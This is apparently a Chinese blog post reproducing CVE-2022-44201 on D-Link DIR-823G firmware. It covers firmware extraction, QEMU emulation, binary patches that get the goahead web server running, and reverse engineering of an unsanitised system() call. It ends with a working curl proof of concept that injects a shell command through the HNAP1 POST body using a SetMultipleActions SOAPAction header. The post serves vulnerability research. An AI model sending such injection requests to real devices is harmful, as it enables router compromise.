-
-
[原创] CVE-2022-44201 命令注入漏洞 (含固件修复)
-
2024-3-23 16:21 3336
-
1 准备工作
1.1 提取固件
1 2 3 | ┌──(root㉿W1sh)-[~ /leamov/CVE-2022-44201 ] └─ # binwalk -Me DIR823G_V1.0.2B05_20181207.bin --run-as=root ... |
1.2 使用qemu-system仿真运行
环境: qemu-system-mipsel
1 2 3 | ┌──(root㉿W1sh)-[ /mnt/e/LeaMov/workspace/IOT/2 .CVE-2022-44201] └─ # scp -r -O _DIR823G_V1.0.2B05_20181207.bin.extracted/squashfs-root/ root@192.168.2.2:/root/ ... |
1 2 | root@debian-mipsel:~ /squashfs-root # ls bin dev etc home init lib mnt proc sys usr var web web_mtn |
1.2.1 查看系统服务
1 2 | # ls /etc/init.d/ rcS rcS_GW |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | # cat /etc/init.d/rcS #!/bin/sh ifconfig lo 127.0.0.1 CINIT=1 hostname rlx-linux mount -t proc proc /proc mount -t ramfs ramfs /var if [ -d "/hw_setting" ]; then mount -t yaffs2 -o tags-ecc-off -o inband-tags /dev/mtdblock1 /hw_setting fi mkdir /var/tmp mkdir /var/web mkdir /var/log mkdir /var/run mkdir /var/lock mkdir /var/system mkdir /var/dnrd mkdir /var/avahi mkdir /var/dbus-1 mkdir /var/run/dbus mkdir /var/lib mkdir /var/lib/misc mkdir /var/home mkdir /var/root mkdir /var/tmp/net ###for tr069 mkdir /var/cwmp_default mkdir /var/cwmp_config if [ ! -f /var/cwmp_default/DefaultCwmpNotify .txt ]; then cp -p /etc/DefaultCwmpNotify .txt /var/cwmp_default/DefaultCwmpNotify .txt 2> /dev/null fi ##For miniigd mkdir /var/linuxigd cp /etc/tmp/pics * /var/linuxigd 2> /dev/null ##For pptp mkdir /var/ppp mkdir /var/ppp/peers #smbd mkdir /var/config mkdir /var/private mkdir /var/tmp/usb #snmpd mkdir /var/net-snmp cp /bin/pppoe .sh /var/ppp/true echo "#!/bin/sh" > /var/ppp/true #echo "PASS" >> /var/ppp/true #for console login cp /etc/shadow .sample /var/shadow #for weave cp /etc/avahi-daemon .conf /var/avahi #extact web pages cd /web #flash extr /web cd / mkdir -p /var/udhcpc mkdir -p /var/udhcpd cp /bin/init .sh /var/udhcpc/eth0 .deconfig echo " " > /var/udhcpc/eth0 .deconfig cp /bin/init .sh /var/udhcpc/eth1 .deconfig echo " " > /var/udhcpc/eth1 .deconfig cp /bin/init .sh /var/udhcpc/br0 .deconfig echo " " > /var/udhcpc/br0 .deconfig cp /bin/init .sh /var/udhcpc/wlan0 .deconfig echo " " > /var/udhcpc/wlan0 .deconfig if [ "$CINIT" = 1 ]; then startup.sh fi # for wapi certs related mkdir /var/myca # wapi cert(must done before init.sh) cp -rf /usr/local/ssl/ * /var/myca/ 2> /dev/null # loadWapiFiles >/dev/null 2>&1 # for wireless client mode 802.1x mkdir /var/1x cp -rf /usr/1x/ * /var/1x/ 2> /dev/null mkdir /var/openvpn cp -rf /usr/share/openvpn/ * /var/openvpn 2> /dev/null #--------------------------------------------------------------------------- SHARE_WIFI_DISABLE=`flash get WLAN1_VAP3_WLAN_DISABLED` if [ "$SHARE_WIFI_DISABLE" = "WLAN1_VAP3_WLAN_DISABLED=0" ]; then flash set WLAN1_VAP3_WLAN_DISABLED 1 fi #--------------------------------------------------------------------------- # Start system script init.sh gw all # modify dst-cache setting echo "24576" > /proc/sys/net/ipv4/route/max_size echo "180" > /proc/sys/net/ipv4/route/gc_thresh echo 20 > /proc/sys/net/ipv4/route/gc_elasticity # echo 35 > /proc/sys/net/ipv4/route/gc_interval # echo 60 > /proc/sys/net/ipv4/route/secret_interval # echo 10 > /proc/sys/net/ipv4/route/gc_timeout # echo "4096" > /proc/sys/net/nf_conntrack_max echo "12288" > /proc/sys/net/netfilter/nf_conntrack_max echo "600" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_established echo "20" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_time_wait echo "20" > /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_close echo "90" > /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout echo "120" > /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout_stream echo "90" > /proc/sys/net/ipv4/netfilter/ip_conntrack_generic_timeout # echo "1048576" > /proc/sys/net/ipv4/rt_cache_rebuild_count echo "32" > /proc/sys/net/netfilter/nf_conntrack_expect_max # modify IRQ Affinity setting echo "3" > /proc/irq/33/smp_affinity #echo 1 > /proc/sys/net/ipv4/ip_forward #don't enable ip_forward before set MASQUERADE #echo 2048 > /proc/sys/net/core/hot_list_length # start web server ls /bin/watchdog > /dev/null && watchdog 1000& #boa goahead & #Turn off the power led of orange echo "29" > /sys/class/gpio/export echo "out" > /sys/class/gpio/gpio29/direction echo "1" > /sys/class/gpio/gpio29/value #Turn on the power led of green echo "30" > /sys/class/gpio/export echo "out" > /sys/class/gpio/gpio30/direction echo "0" > /sys/class/gpio/gpio30/value cp /etc/passwd_orig /var/passwd cp /etc/group_orig /var/group MODE=`flash get HW_FACTORY_MODE` if [ "$MODE" = "HW_FACTORY_MODE=1" ]; then telnetd& fi #telnetd& ifconfig wlan1-va3 down speedcheck& #wiair_client& |
根据文件 rcS
可以知道使用了下述命令启动web服务
1 2 3 4 5 | # start web server ls /bin/watchdog > /dev/null && watchdog 1000& #boa goahead & |
现在尝试运行
1 2 3 4 | # goahead Debug: Goahead start # Read hw setting header failed! Invalid hw setting signature [sig=]! |
启动失败了
1.3 修复固件运行环境
用用户模式运行程序然后到IDA里调试分析
1 2 | ┌──(root㉿W1sh)-[~ /leamov/CVE-2022-44201/extracted/squashfs-root ] └─ # chroot . ./qemu-mipsel-static -g 23946 ./bin/goahead |
main函数里调用了daemmon函数,然后就挂了,直接nop掉
1 2 3 | 38 09 10 0C jal daemon ↓↓ ↓↓ ↓↓ ↓↓ ↓↓ ↓↓↓↓↓↓ 00 00 02 24 li $v0, 0 |
关于
daemon()
这个函数是为了启动一个后台进程,内部调用了fork实现,子程序启动成功后父进程就会退出
1.3.1 Patch apmib_init()
所以daemon()
不是真正导致错误的原因,继续单步最后找到函数apmib_init()
,它才是真正导致崩溃的原因,直接过掉
1 | 84 07 10 0C jal apmib_init |
1 2 3 | 84 07 10 0C jal apmib_init ↓↓ ↓↓ ↓↓ ↓↓ ↓↓ ↓↓↓↓↓↓ 01 00 02 24 li $v0, 1 |
1.3.2 Patch 其它检查或者初始化函数
这里有个检查pid然后退出程序的,过掉
1 2 3 | 33 8F 10 0C jal getPidFile ↓↓ ↓↓ ↓↓ ↓↓ ↓↓ ↓↓↓↓↓↓ 01 00 02 24 li $v0, 1 |
再启动试试
1 2 3 | # goahead-patches Debug: Goahead start Segmentation fault |
调试发现是因为打开了个设备文件,没有检查是否打开成功就直接调用fseek
导致
1 2 | mtd0 = fopen ( "/dev/mtd0" , "r" ); fseek (mtd0, 0x30000, 0); //Crashed! |
直接nop掉然后继续
1 2 3 | # ./qemu-mipsel-static bin/goahead-patches Debug: Goahead start goahead.c initWebs: failed to convert to binary ip data |
1.3.3 修复网络配置函数
上述错误是因为程序直接找了网络设备br0
1 2 3 4 5 6 7 | sub_423E90( "br0" , ipStr); //... if ( inet_addr(ipStr) == 0xFFFFFFFF ) { error( "goahead.c" , 0x213, 2, "initWebs: failed to convert %s to binary ip data" , ( const char *)ipStr); return 0xFFFFFFFF; } |
但是我的网络是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | ┌──(root㉿W1sh)-[~ /leamov/CVE-2022-44201 ] └─ # ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1 /8 scope host lo valid_lft forever preferred_lft forever inet6 ::1 /128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link /ether 00:15:5d:8a:fb:92 brd ff:ff:ff:ff:ff:ff inet 172.30.36.124 /20 brd 172.30.47.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::215:5dff:fe8a:fb92 /64 scope link valid_lft forever preferred_lft forever |
没有名为br0
的网络设备,有两个方法解决这个问题,一个是直接添加一个br0
,这应该是最方便的,另一个就是把所有的br0
字符串引用改成eth0
的引用,这个稍微麻烦亿点,所以我们用第二个(我不熟悉网络配置-v-)
因为我没有用Ghrida,IDA没办法patch这个文件,所以只能到010Editor里去找然后修改,没找到直接就能用的eth0
字符串,所以在data
段找了个空白自己加上去,然后把所有br0
的引用计算便宜改到eth0
身上去(真的很麻烦a)
改完之后再次运行
1 2 3 4 | # ./qemu-mipsel-static bin/goahead-patches Debug: Goahead start webs: Listening for HTTP requests at address 172.30.36.124 ... |
1.3.4 Patch(or Hijack) apmib_get()
终于跑起来了,但是嘛
1 2 3 4 5 6 | ┌──(root㉿W1sh)-[~ /leamov/CVE-2022-44201 ] └─ # curl 172.30.36.124 curl: (52) Empty reply from server qemu: uncaught target signal 11 (Segmentation fault) - core dumped Segmentation fault |
请求之后就挂掉了,我一遍又一遍的调试,也没找对错误发生在哪,突然我想起了我看的别人的固件修复的文章,同样是libapmib
,人家还修了个apmib_get
函数呢,我断到它的跳转去,单步一下,果然是因为这个,最方便(个人觉得)的解决还是直接patch,去lib
下找到这个库文件让这个函数的开头直接跳转到返回
1 2 3 | 44 00 82 14 bne $a0, $v0, loc_5B18 ↓↓ ↓ ↓↓ ↓↓ ↓ ↓↓↓↓↓↓↓↓ 31 01 00 10 b loc_5ECC |
还有两个函数 apmib_set()
和 apmib_update
. 避免后续出问题,用同样的方法patch掉了
1.3.5 运行
现在启动web服务然后请求
1 2 3 4 5 6 7 8 9 10 11 | # ./qemu-mipsel-static bin/goahead-patches Debug: Goahead start webs: Listening for HTTP requests at address 172.30.36.124 ... ┌──(root㉿W1sh)-[~ /leamov/CVE-2022-44201 ] └─ # curl 172.30.36.124 <html>< head >< /head ><body> This document has moved to a new <a href= "http://172.30.36.124/Wizard.html" >location< /a >. Please update your documents to reflect the new location. < /body >< /html > |
2. 漏洞复现
根据阿里云漏洞库对这个漏洞的描述,可以知道是命令注入
2.1 逆向分析
2.1.1 不安全的system调用
既然是命令注入(执行).那我们就找system()
函数的引用.然后找到了一个明显有问题的调用在函数0x42383C
处
1 2 3 4 5 6 | if (arg[329]){ if ( strstr (arg[329], "SetMultipleActions" )){ snprintf(v17, 4999, "echo '%s' >/var/hnaplog" , a11); system (v17); } } |
它将一个未经验证的参数格式化到原定命令中并将其执行
2.1.2 可控的系统命令参数
首先我们先直接在调试器里设置寄存器的值跳过那些判断,检查 一下a11
是什么东西
把断点打在sprintf
的调用处,然后用下面的命令请求路径
1 2 | ┌──(root㉿W1sh)-[~ /leamov/CVE-2022-44201 ] └─ # curl localhost/HNAP1 -d "MyPostDataaaaaaaaaaaaa" |
和猜想的一样,是post的数据
2.1.3 绕过验证
直接使用上述的请求方式是没办法执行到system
去执行命令的,看上面的伪代码就知道,还有俩判断需要绕过,但是不知道arg
是什么东西,根据它的大小和现在的应用场景推断和我们的请求数据有关系,在调试器里找$ra
寄存器往外分析
首先是0x40B740
.这个函数对用户的请求路径做了匹配,然后分发到不同的处理函数
然后是 0x41C488
...........
hum这样的方式有点复杂,既然知道可能是某个HTTP字段,那就找那个处理函数,找知道的大概率会存在的字段,像content-length
在IDA里搜索字符串content-length
,然后找引用,果然找到了一个匹配提取字段内容的函数0x41D354
.然后看到了这样一段代码
1 2 3 4 5 | else if ( ! strcmp (v25, "soapaction" ) ) { a1[329] = sub_4036C4(v24); //... } |
它把字段soapaction
的内容写到了a1[329]
,应该就是我们要找的字段了,现在用下面的命令进行请求
1 2 | ┌──(root㉿W1sh)-[~ /leamov/CVE-2022-44201 ] └─ # curl localhost/HNAP1 -H "soapaction:SetMultipleActions" |
-H "soapaction:" 绕过字段内容为空判断
if(arg[329])
soapaction:SetMultipleActions
绕过字符串内容判断 if(strstr(arg[329],"SetMultipleActions"))
2.2 POC
1 | curl localhost /HNAP1 -d "'&echo \"Hello Im In\"&'" -H "soapaction:SetMultipleActions" |
3. 写在最后
这是第二次做IOT的复现,嘛说是第一次也行,感觉上一次好像没有学到太多东西,包括环境的配置了,固件修复了,各种。因为去看其它师傅的复现笔记的话,挺多还是用了firmadyne之类的工具的,我不太想上来就用因为感觉挺多东西不太理解,我也不知道那程序是怎么的就跑起来了,挺懵的就,所以还是先学习一下怎么自己解决
多有不足之处,欢迎指出:)
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法